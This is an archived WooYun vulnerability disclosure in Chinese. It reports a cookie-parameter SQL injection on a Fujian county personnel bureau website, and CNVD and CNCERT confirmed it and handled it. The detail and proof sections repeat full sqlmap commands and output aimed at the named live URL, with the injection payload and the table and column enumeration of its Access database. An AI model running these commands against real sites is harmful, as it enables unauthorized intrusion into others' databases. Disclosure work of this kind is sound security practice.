当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117389

漏洞标题:福建省政和县人事局主站存在sql注入

相关厂商:福建省政和县人事局

漏洞作者: Ra8er

提交时间:2015-06-03 16:02

修复时间:2015-07-20 17:48

公开时间:2015-07-20 17:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-03: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

cookie

详细说明:

root@ra8er:~# sqlmap -u "http://www.fjzhrs.gov.cn/show_gg.asp" --cookie "id=280" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:50:37
[16:50:41] [INFO] testing connection to the target URL
[16:50:44] [INFO] testing if the target URL is stable. This can take a couple of seconds
[16:50:45] [INFO] target URL is stable
[16:50:45] [INFO] testing if Cookie parameter 'id' is dynamic
[16:50:46] [INFO] heuristics detected web page charset 'GB2312'
[16:50:46] [INFO] confirming that Cookie parameter 'id' is dynamic
[16:50:46] [WARNING] Cookie parameter 'id' does not appear dynamic
[16:50:46] [WARNING] heuristic (basic) test shows that Cookie parameter 'id' might not be injectable
[16:50:46] [INFO] testing for SQL injection on Cookie parameter 'id'
[16:50:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:50:47] [INFO] Cookie parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:50:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[16:50:49] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[16:50:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:50:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[16:50:50] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[16:50:50] [INFO] testing 'MySQL inline queries'
[16:50:50] [INFO] testing 'PostgreSQL inline queries'
[16:50:50] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:50:50] [INFO] testing 'Oracle inline queries'
[16:50:51] [INFO] testing 'SQLite inline queries'
[16:50:51] [INFO] testing 'Firebird inline queries'
[16:50:51] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:50:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:50:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:50:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:50:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:50:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:50:52] [INFO] testing 'Oracle AND time-based blind'
[16:50:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:50:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:50:55] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[16:50:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:50:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[16:51:01] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[16:51:04] [INFO] checking if the injection point on Cookie parameter 'id' is a false positive
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 128 HTTP(s) requests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=280 AND 4000=4000
---
[16:51:08] [INFO] testing MySQL
[16:51:08] [WARNING] the back-end DBMS is not MySQL
[16:51:08] [INFO] testing Oracle
[16:51:08] [WARNING] the back-end DBMS is not Oracle
[16:51:08] [INFO] testing PostgreSQL
[16:51:08] [WARNING] the back-end DBMS is not PostgreSQL
[16:51:08] [INFO] testing Microsoft SQL Server
[16:51:08] [WARNING] the back-end DBMS is not Microsoft SQL Server
[16:51:08] [INFO] testing SQLite
[16:51:08] [WARNING] the back-end DBMS is not SQLite
[16:51:08] [INFO] testing Microsoft Access
[16:51:09] [INFO] confirming Microsoft Access
[16:51:09] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[16:51:09] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 123 times
[16:51:09] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.fjzhrs.gov.cn'
[*] shutting down at 16:51:09
root@ra8er:~# sqlmap -u "http://www.fjzhrs.gov.cn/show_gg.asp" --cookie "id=280" --table --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:51:45
[16:51:45] [INFO] resuming back-end DBMS 'microsoft access'
[16:51:48] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=280 AND 4000=4000
---
[16:51:51] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[16:51:51] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[16:51:51] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[16:51:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:51:51] [INFO] retrieved:
[16:51:52] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:51:52] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[16:51:52] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[16:51:53] [INFO] checking table existence using items from '/usr/share/sqlmap/txt/common-tables.txt'
[16:51:53] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[16:51:54] [WARNING] running in a single-thread mode. This could take a while.
[16:52:18] [INFO] retrieved: links
[16:52:24] [INFO] retrieved: question
[16:56:51] [INFO] tried 1686/3172 items (53%)
[16:56:51] [INFO] heuristics detected web page charset 'GB2312'
[16:59:21] [INFO] retrieved: guestbook

Database: Microsoft_Access_masterdb
[3 tables]
+-----------+
| guestbook |
| links |
| question |
+-----------+
[17:01:22] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3172 times
[17:01:22] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.fjzhrs.gov.cn'
[*] shutting down at 17:01:22
root@ra8er:~# sqlmap -u "http://www.fjzhrs.gov.cn/show_gg.asp" --cookie "id=280" --columns -T "guestbook" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:03:35
[17:03:35] [INFO] resuming back-end DBMS 'microsoft access'
[17:03:37] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=280 AND 4000=4000
---
[17:03:41] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[17:03:41] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q]
[17:05:28] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:05:28] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[17:05:28] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[17:05:29] [WARNING] running in a single-thread mode. This could take a while.
[17:05:30] [INFO] retrieved: id
[17:11:42] [INFO] retrieved: news_title

Database: Microsoft_Access_masterdb
Table: guestbook
[2 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| id | numeric |
| news_title | non-numeric |
+------------+-------------+
[17:12:35] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2530 times
[17:12:35] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.fjzhrs.gov.cn'
[*] shutting down at 17:12:35

漏洞证明:

root@ra8er:~# sqlmap -u "http://www.fjzhrs.gov.cn/show_gg.asp" --cookie "id=280" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:50:37
[16:50:41] [INFO] testing connection to the target URL
[16:50:44] [INFO] testing if the target URL is stable. This can take a couple of seconds
[16:50:45] [INFO] target URL is stable
[16:50:45] [INFO] testing if Cookie parameter 'id' is dynamic
[16:50:46] [INFO] heuristics detected web page charset 'GB2312'
[16:50:46] [INFO] confirming that Cookie parameter 'id' is dynamic
[16:50:46] [WARNING] Cookie parameter 'id' does not appear dynamic
[16:50:46] [WARNING] heuristic (basic) test shows that Cookie parameter 'id' might not be injectable
[16:50:46] [INFO] testing for SQL injection on Cookie parameter 'id'
[16:50:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:50:47] [INFO] Cookie parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:50:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[16:50:49] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:50:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[16:50:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:50:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[16:50:50] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[16:50:50] [INFO] testing 'MySQL inline queries'
[16:50:50] [INFO] testing 'PostgreSQL inline queries'
[16:50:50] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:50:50] [INFO] testing 'Oracle inline queries'
[16:50:51] [INFO] testing 'SQLite inline queries'
[16:50:51] [INFO] testing 'Firebird inline queries'
[16:50:51] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:50:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[16:50:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:50:51] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:50:51] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[16:50:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:50:52] [INFO] testing 'Oracle AND time-based blind'
[16:50:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:50:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:50:55] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[16:50:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:50:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[16:51:01] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[16:51:04] [INFO] checking if the injection point on Cookie parameter 'id' is a false positive
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 128 HTTP(s) requests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=280 AND 4000=4000
---
[16:51:08] [INFO] testing MySQL
[16:51:08] [WARNING] the back-end DBMS is not MySQL
[16:51:08] [INFO] testing Oracle
[16:51:08] [WARNING] the back-end DBMS is not Oracle
[16:51:08] [INFO] testing PostgreSQL
[16:51:08] [WARNING] the back-end DBMS is not PostgreSQL
[16:51:08] [INFO] testing Microsoft SQL Server
[16:51:08] [WARNING] the back-end DBMS is not Microsoft SQL Server
[16:51:08] [INFO] testing SQLite
[16:51:08] [WARNING] the back-end DBMS is not SQLite
[16:51:08] [INFO] testing Microsoft Access
[16:51:09] [INFO] confirming Microsoft Access
[16:51:09] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[16:51:09] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 123 times
[16:51:09] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.fjzhrs.gov.cn'
[*] shutting down at 16:51:09
root@ra8er:~# sqlmap -u "http://www.fjzhrs.gov.cn/show_gg.asp" --cookie "id=280" --table --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:51:45
[16:51:45] [INFO] resuming back-end DBMS 'microsoft access'
[16:51:48] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=280 AND 4000=4000
---
[16:51:51] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[16:51:51] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[16:51:51] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[16:51:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:51:51] [INFO] retrieved:
[16:51:52] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:51:52] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[16:51:52] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q]
[16:51:53] [INFO] checking table existence using items from '/usr/share/sqlmap/txt/common-tables.txt'
[16:51:53] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[16:51:54] [WARNING] running in a single-thread mode. This could take a while.
[16:52:18] [INFO] retrieved: links
[16:52:24] [INFO] retrieved: question
[16:56:51] [INFO] tried 1686/3172 items (53%)
[16:56:51] [INFO] heuristics detected web page charset 'GB2312'
[16:59:21] [INFO] retrieved: guestbook

Database: Microsoft_Access_masterdb
[3 tables]
+-----------+
| guestbook |
| links |
| question |
+-----------+
[17:01:22] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3172 times
[17:01:22] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.fjzhrs.gov.cn'
[*] shutting down at 17:01:22
root@ra8er:~# sqlmap -u "http://www.fjzhrs.gov.cn/show_gg.asp" --cookie "id=280" --columns -T "guestbook" --level 2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:03:35
[17:03:35] [INFO] resuming back-end DBMS 'microsoft access'
[17:03:37] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: Cookie
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=280 AND 4000=4000
---
[17:03:41] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[17:03:41] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q]
[17:05:28] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:05:28] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[17:05:28] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)]
[17:05:29] [WARNING] running in a single-thread mode. This could take a while.
[17:05:30] [INFO] retrieved: id
[17:11:42] [INFO] retrieved: news_title

Database: Microsoft_Access_masterdb
Table: guestbook
[2 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| id | numeric |
| news_title | non-numeric |
+------------+-------------+
[17:12:35] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2530 times
[17:12:35] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.fjzhrs.gov.cn'
[*] shutting down at 17:12:35

修复方案:

自行

版权声明:转载请注明来源 Ra8er@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-05 17:47

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给山东分中心,由其后续协调网站管理单位处置。

最新状态:

暂无